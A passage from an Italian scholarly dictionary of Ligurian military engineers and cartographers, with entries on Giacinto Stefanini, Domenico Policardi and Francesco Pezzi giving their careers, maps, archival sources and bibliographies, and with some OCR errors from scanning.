    - Apricale 1 e 2: Tipo geometrico riguardante la differenza de' confini vertente tra Apricale del Marchesato di Dolce Aqua con Baiardo ... e Pezza di rapporto rappresen­tante le apparenze e i profili ... relativa alla medesima controversia, sottoscritti nel 1732 insieme all'ingegnere piemontese Pietro Audibert.
    - Bagnasco 1 e 2: Tipo geometrico riguardante le differenze di confini tra Bagna­sco e Massimino sottoscritto da Audibert e Tallone nel 1732 e delineato da Carbonara.
    - Belforte 1, 2, 3: Tipo geometrico concernente le differenze fra Belforte Monfer­to e Rossiglione Genovesato, sottoscritto da Audibert e Tallone nel 1731 e aggiomato nel 1735 da Pinto e Tallone nell'indice.
    - Belforte 5 e 6: Tipo di una parte di territorio posseduto da Tagliolo e preteso da Rossiglione, sottoscritto da Willencourt e Tallone nel 1731.
    - Belforte 7, 8, 9, 10: Tipo geometrico e pezze di rapporto fra Belforte Monferrato e Ovada Genovesato, sottoscritti nel 1731 da Willencourt e Tallone, aggiornato nel 1735 insieme a Pinto nell'indice.
    - Carpasio 1: Tipo geometrico riguardante le differenze di confini tra Carpasio e Glori, sottoscritto da Audibert e Tallone nel 1732.
    - Finale 16: «Pianta del marchesato e delle Langhe del Finale». Grande carta (cm 380x420) impostata nel 1722 da Gherardo de Langlade e terminata da Tallone.
    - Larzeno 1 e 2: Tipo geometrico riguardante le controversie di confini tra Larze­no e Calderaia, sottoscritto da Audibert e Tallone nel 1732.
    - Valle dei Ratti, Tipo Geografico del territorio della Valle de Ratti (Borbera) sotto scritto dal Tallone e non datato.

    Produzione di cartografia manoscritta:

    Produzione di cartografia a stampa:

    Fonti d’archivio:

    Bibliografia:
    C. BARLETTARO - O. GARBARINO, La Raccolta cartografica dell'Archivio di Stato di Genova, Genova, Tilgher, 1986.
    L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Com­pagnia dei Librai, 1992.
    E. MARENGO, Carte topografiche e corografiche manoscritte della Liguria ... , Genova, SIAG, 1931.
    P. PESCARMONA, Note e documenti sul Corpo degli Ingegneri Militari a Genova alla metà del Settecento, «Bollettino Ligustico», III, 1986, pp. 107 -115.

    Altro:

    Rimandi ad altre schede: Codeviola, Matteo Vinzoni

    Autore della scheda: Massimo Quaini

    Stefanini, Giacinto

    Giacinto Stefanini
    N.
    M. Levanto 1812

    Relazioni di parentela: Non si conoscono rapporti di parentela né ascendenti né discendenti che possano far pensare a una dinastia.

    Ente/istituzione di appartenenza:
    Qualifica:

    Biografia:
    La data precisa della nascita rimane per ora oscura, ma si presume sia nato a Le­vanto intorno al 1770. Muore assassinato, a Levanto, nel 1812. In un registro del- 1' archivio comunale della località (registro 189) si conserva notizia dell'omicidio. Con lettera del 31 maggio 1812 il maire informa il prefetto del fatto avvenuto nel­la notte del giorno precedente. Con lettera successiva (6 giugno 1812) si descrive la dinamica del fatto in questi termini: il «capitano dimissionario del Genio, Gia­cinto Stefanini, mentre si recava a casa con la figlia Luisa di anni 15, alle ore 1 O della notte, in località Piano di S. Rocco del comune di Levanto, veniva assalito e pugnalato a morte». L'omicida riconosciuto dalla figlia è il nipote, Francesco Bar­letta, che uccide per vendicarsi della mancata restituzione di somme dovute dal padre dello Stefanini.

    Produzione scientifica:
    Il 16 dicembre 1796 firma, a Genova, con Giacomo Brusco, Francesco Pezzi e Ago­stino Menici, la Relazione per la batteria sulla punta detta della Torre d'Amore da leuante della cittd e sulla punta o penisola di Sant'Andrea da ponente (Fara, 2006, p. 207l.
    Conosciamo poi una carta intitolata Piano dell'attacco di Serravalle successiva al giugno 1798: ASG, Raccolta cartografica, n. 1079, Serravalle, 7, busta 17 bis (per la scheda descrittiva si rimanda al catalogo di Barlettaro-Garbarino, 1986).
    Redatta attorno al 1800 è la Descrizione del Golfo della Spezia, delle sue fortificazioni, e dello stato attuale delle medesime e Sentimento sulla difesa del Golfo della Spezia.
    Nel 1805, insieme a Girolamo Spinola, esegue rilievi sul terreno dello Sperone e del Diamarne, chiavi del sistema difensivo genovese (ISCAG, FT 2560, 2562). Nel 1806 esegue un rilievo della Spezia e del suo circondario (Pian de la ville de la Spezzia et de ses environs levé trigonométriquement (ISCAG, FT 64/ A, 4014) e il Pian de !'anse des Graces dans le Gol/e de La Spezia avec sondes (ISCAG, FT 64/A, 4023) con risultati molto lodati dai contemporanei. La precisione del Pian de la mlle sarà superata solo con l'introduzione del sistema a curve di livello da parte dei topografi francesi comandati dal capo di battaglione P.-A. Clerc (Rossi, in stampa). Così A. Fara: «Il capitano Stefanini svolse nel 1806 il rilievo della cinà e dell'Ansa delle Grazie sulla costa occidentale del Golfo. Egli adottò una rappresentazione classica dell'orografia, a sfumo e luce obliqua, che non era an­cora quella delle curve orizzontali che verrà impiegata dopo qualche anno in ma­niera sistematica proprio sul territorio della Spezia. Ma il suo rilievo della città assume ora una notevole importanza nella cartografia della Spezia. Si distingue per l'esattezza trigonometrica e rappresenta una delle piante fondamentali per lo studio della città ancora chiusa nelle mura seicentesche e dotata di sei porte» (Fara 1983, p. 32).
    Fara dice anche che nello stesso anno, su ideazione del capitano Etienne Delmas, Stefanini compila il progetto per una ridotta fra il monte Due Fratelli e lo Spero­ne, alle spalle di Genova (ISCAG, FT 2533, 2537) e che con Etienne Delmas e Francesco Pezzi collabora alla stesura del Mémoire sur le golphe de la Spezia di Hyacinthe Boucher de Morlaincourt datato luglio 1807.

    Produzione di cartografia manoscritta:

    Produzione di cartografia a stampa:

    Fonti d’archivio:

    Bibliografia:
    C. BARLETTARO - O. GARBARINO, La Raccolta cartografica dell'Archivio di Stato di Genova, Genova, Tilgher, 1986.
    P. CEVINI, La Spezia, Genova, Sagep, 1984. A. FARA, La Spezia, Bari, Laterza, 1983.
    A. FARA, Napoleone architetto nelle città della guerra in Italia, Firenze, Olschki, 2006.
    L.C. Forti, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-1794). Dal­l'analisi topografica alla difesa marittima del golfo, in M. QUAINI (a cura di), Carte e cartografi in Liguria, Genova, Sagep, 1986, pp. 232-238.
    L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Compagnia dei Librai, 1992.
    L. ROSSI, La nascita della cartografia a curve di livello in Italia, in A. CANTILE (a cura di), La cartografia in Italia. Nuovi metodi e nuovi strumenti dal Settecento a oggi, Firenze, Istituto Geografico Militare, 2007.

    Altro:

    Rimandi ad altre schede: Giacomo Brusco, Clerc, Pezzi

    Autore della scheda: Carlo Alberto Gemignani

    Policardi, Domenico

    Domenico Policardi
    N.
    M.

    Relazioni di parentela: Non se ne conoscono.

    Ente/istituzione di appartenenza:
    Qualifica: Capitano ingegnere, cartografo.

    Biografia:
    Originario del Regno di Corsica, esattamente di Bastia, non si conosce la data di nascita. Risulta esercitare il servizio militare dal 1732. Muore il 10 marzo 1787 con il titolo di Capitano Ingegnere e la paga di L. 90 mensili (ASG, Foglietta, 1035

    Produzione scientifica:
    Col titolo di volontario e al seguito del Medoni fra il 17 44 e il 17 45 fa le sue prime esperienze nella fortificazione dei passi della valle di Finale.
    Dopo aver fatto ulteriore «pratica sul terreno» al seguito delle truppe spagnole, rientra in servizio sempre col titolo di volontario e presta la sua attività a Sanremo e in Corsica, dove viene mandato nel 1755 in qualità di Aiutante Ingegnere del capi­tano Medoni diventato cieco e dove si distingue nella direzione ed edificazione del baluardo di S. Carlo in Bastia in sostituzione del capitano Medoni rientrato a Gnova. In seguito alla buona prova data, gli vengono appoggiati altri lavori in Bastia e Saint Florence, la cui buona esecuzione viene approvata dal Brigadiere Flobert. In seguito alla proposta di riforma del corpo degli ingegneri militari avanzata dal­lo stesso Flobert nel 1756, Policardi, essendogli riconosciuto dal Magistrato di Corsica «ottime qualità», nel gennaio del 1757 viene aggregato al corpo col titolo di primo Tenente Ingegnere e paga di L. 50 mensili (ASG, Foglietta, 388 e 1240; Senarega, 284). Con tale grado viene prima inviato a Vado per i lavori alle fortifi­cazioni diretti dal Flobert e poi in Corsica, dove rimane a lungo.
    Ceduta la Corsica alla Francia nel 1768, Policardi, non molto soddisfatto del trat­tamento economico, tenta di farsi assumere dal Re di Francia di cui, essendo cor­so, si sente suddito. La carta della Corsica stampata a Genova nel 1769 e dedicata all'ambasciatore francese, va letta anche in questa chiave. Nel 1776 entra in con­tatto con l'ambasciatore francese a Genova, De Pinet, che promettendogli l'assun­zione lo convince a collaborare con il Dépòt de la Guerre fornendo carte e infor­mazioni riservate sul territorio della Repubblica. In meno di due anni fornisce di­verse carte dello Stato Genovese e della Corsica che ancora oggi si trovano negli archivi francesi.
    Dopo questo episodio di vero e proprio spionaggio cartografico e tradimento del suo datore di lavoro e committente ufficiale il P. vive ancora 10 anni in Genova. Nel 17 84 invia una supplica al Senato, con allegato disegno, perché gli sia ricono­sciuta con «paterna munificenza e per sollievo del suo bisognevole stato» l'inven­zione del moto perpetuo, ottenuto con «una macchina idrostatica che allo stesso moto assai s'avvicina: consiste questa in una poca quantità di acqua distribuita in due picoli recipienti con la quale si macinano diversi molini sempre con la detta acqua stagnante e per ora col solo aiuto leggiero di una persona a continuare il moto» (ASG, Confinium, 155).

    Produzione di cartografia manoscritta:
    Diverse carte manoscritte e anche a stampa testimoniano le capacità cartografiche del Policardi. In ASG, Raccolta Cartografica si conservano diversi «tipi» relativi al­la Corsica (Bonifacio, Furiani, Bastia ecc.) e a diverse località della Liguria (Geno­va, Portofino, Lavagna, Gavi).
    Fra le carte manoscritte, a esemplificazione della tecnica più raffinata usata dal P. basti citare:
    - Gavi 1: Carta Geometrica in Pianta e Profili della Città Fortezza e parte del terri­torio di Gavi nelle viccinanze del fiume Lemo, torrente Neirone e suoi influenti ... anno 1785 (ASG, Raccolta Cartografica, Busta 9. bis, 291).
    Diverse carte, frutto dell'attività spionistica del P. sono conservate presso l' archi­vio e la raccolta cartografica del.Dépot de la Guerre a Vincennes (Parigi).

    Produzione di cartografia a stampa:
    L'unica carta a stampa che finora si conosce è la
    -Carta dell'isola di Corsica ... Domenico Policardi Capitano Ingegnere in Genova l'anno 1769 dedicata a Giuseppe Rocco Boyer de Fronscolombe, ambasciatore del Re di Francia presso la Repubblica di Genova.
    Due copie si conservano presso la Biblioteca Nazionale di Francia (Richelieu). Una copia del fondo cartografico corso della Biblioteca Nazionale di Napoli è sta­ta segnalata e descritta da V. Aversano, 2000.

    Fonti d’archivio:

    Bibliografia:
    V. AVERSANO, Il fondo cartografico corso nella Biblioteca Nazionale di Napoli e la «Pianta Topografica della Corsica» del 177 3 ... , Università degli Studi di Saler­no, 2000, pp. 27-30.
    L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Com­pagnia dei Librai, 1992.
    P. PESCARMONA, Note e documenti sul Corpo degli Ingegneri Militari a Genova alla metà del Settecento, in «Bollettino Ligustico», III, 1986.
    M. QUAINI, A proposito di «scuole» e «in/lussi» nella cartografia genovese del Sette­cento e in particolare di influenze franco-piemontesi, in Cartografia e istituzioni in età moderna, II, Genova, Società Ligure di Storia Patria, 1987, pp. 783-802.
    M. QUAINI, Ingegneri e cartografi nella Corsica genovese fra Seicento e Settecento, in A.M. SALONE -F. AMALBERTI, Corsica immagine e cartografia, Genova, Sagep, 1992.

    Altro:

    Rimandi ad altre schede: Flobert

    Autore della scheda: Massimo Quaini

    Pezzi, Francesco

    Francesco Pezzi
    N. 1764
    M. novembre 1813

    Relazioni di parentela: Non se ne conoscono.

    Ente/istituzione di appartenenza:
    Qualifica: Ingegnere militare, professore di matematica e ingegneria militare.

    Biografia:
    Molte tra le notizie riguardanti la carriera militare di Pezzi sono reperibili presso il Service Historique de l'Armée de Terre di Vincennes dove si conserva il fascicolo personale comprendente tra l'altro lo stato di servizio (SHAT, 2Y e, François Pezzi). Il primo settembre 1781 si addottora all'Università di Genova sostenendo una «pubblica disputa di matematica» (Farinella, 1986, p. 767).
    Il 16 gennaio 1782 è Cadetto nel corpo del Genio della Repubblica di Genova. Dal 1783 al 1786, subentrato ad Agostino Domenico Menici, si forma all'Accade­mia di Architettura militare e artiglieria di Strasburgo usufruendo di un lascito di G. Giacomo Grimaldi a favore di giovani cadetti-ufficiali della Repubblica.
    Fin dal 1784 (ma la data precisa appare controversa perché nello stesso periodo Pezzi risulta seguire i corsi a Strasburgo) «fa scpla gratis» insegnando matematica elementare all'Università di via Balbi in Genova (Forti, 1986, p. 234).
    Il 24 luglio 1786 è nominato con Menici tenente del corpo degli ingegneri della Repubblica con paga di f,. 35 «fino alla morte del Cap. Policardi» (ASG, Foglietta, 1035). Lavorerà a lungo come aiutante di Giacomo Brusco.
    Il 3 aprile 1788 ottiene la cattedra (retribuita) di matematiche elementari all'Uni­versità, presentando come titolo scientifico la traduzione dal latino in francese del­l'Introduction à l'analyse des infiniment petits de M. Euler. Première partie (Fari­nella, pp. 766 e 772).
    Nel 1789, con Menici, istruisce la pratica per la promozione a capitano (ASG, Confinium, 163, Diversorum Collegi, 367). Opera nel Gotfo della Spezia con Gia­como como Brusco (Rossi, 2003, p. 94) e si occupa di analizzare il sistema difensivo co­stiero in vista di un suo potenziamento.
    Il 17 febbraio 1794 è nominato capitano in seguito all'incremento dell'organico del corpo degli ingegneri con l'inserimento dei tenenti Giacinto Stefanini e Vin- cenzo Chiodo.
    Tra il 1794 e il insieme al Menici, prende parte attiva al movimento rivolu- zionario che porterà alla nascita della Repubblica Democratica Ligure (Forti, 1992, p. 269). Nel 1797 è eletto da Bonaparte nel Governo provvisorio. Il 25 lu­glio 1797 è nominato 2° capo Battaglione del Corpo Imperiale del Genio francese (nel quale è confluito il Corpo del Genio Ligure), sottoposto al colonnello coman­dante Giacomo Brusco.
    Nel marzo 1799 fa parte del Consiglio di Guerra straordinario indetto per risolve- re il problema della difesa costiera delle due Riviere (Forti, 1992, p. 270). È con Massena durante il blocco di Genova (1800).
    Nel Regolamento per lo Corpo del Genio (1802), art. X, conservato nel Registro del burò del genio dell'anno V, cioè 1801 (collezione privata; vedi anche Quaini 1, 1986, p. 38) si specifica l'affido al Comandante in Seconda del corpo (in quel momento ruolo ricoperto dal Pezzi) della direzione della scuola per ingegneri e subalterni. Nello stesso anno è affidato a Pezzi il compito di levare i piani di alcu­ne fortificazioni genovesi.
    Dal 1805, divenuto capo battaglione del Genio imperiale, è dì nuovo nel Golfo della Spezia per riorganizzarne il sistema difensivo.
    Nel 1806 subentra a Brusco col grado di colonnello. Nel 1807 diviene direttore interim della Direzione di Genova delle fortificazioni (Fara, 2006, p. 216).
    Nel 1809 cade da cavallo durame una visita alle fortificazioni nella parte orientale del Golfo fratturandosi un femore.
    Insignito della Legion d'Onore, muore a Genova nel 1813 lasciando moglie e due figli. È sostituito da François Marie Riverieulx (Fara, 2006, pp. 235 e 260).

    Produzione scientifica:

    Produzione di cartografia manoscritta:

    Produzione di cartografia a stampa:

    Fonti d’archivio:

    Bibliografia:
    A. FARA, La Spezia, Bari, Laterza, 1983.
    A. FARA, Napoleone architetto nelle città della guerra in Italia, Firenze, Olschki, 2006.
    C. FARINELLA, Un matematico genovese del XVIII secolo. Lettere di F. Pezzi a A.
    M. Lorgna e S. Canterzani, in «Miscellanea storica ligure», XVIII, n. 2, Studi in onore di Luigi Bulferetti, Genova, Istituto di Storia Moderna e Contempora­nea, 1986, pp. 765-881.
    L. C. FORTI, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-1794). Dal­l'analisi topografica alla difesa marittima del golfo, in M. QUAINI (a cura di), Carte e cartografi in Liguria, Genova, Sagep, 1986, pp. 232-238.
    L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Compagnia dei Librai, 1992.
    M. QUAINI 1, Dalla cartografia del potere al potere della cartografia, in ID. (a cura di), Carte e cartografi' in Liguria, cit., pp. 7-60.
    M. QUAINI 2, Il Golfo della Spezia: dal fascino delle rovine al teatro del progetto, in ID. (a cura di), Carte e cartografi in Ligurza, cit., pp. 171-218.
    M. QUAINI 3, A proposito di «scuole» e «in/lussi» nella cartografia genovese del Set­tecento e in particolare di influenze franco-piemontesi, in Cartografi'a e istituzioni in età moderna, Genova, Società Ligure di Storia Patria, 1986, II, pp. 783-802.
    L. Rossi, Lo specchio del Gol/o. Paesaggio e anima della provincia spezzina, Sarza­na, Agorà, 2003.

    Altro:

    Rimandi ad altre schede: Giacomo Brusco: Policardi; Stefanini

    Autore della scheda: Carlo Alberto Gemignani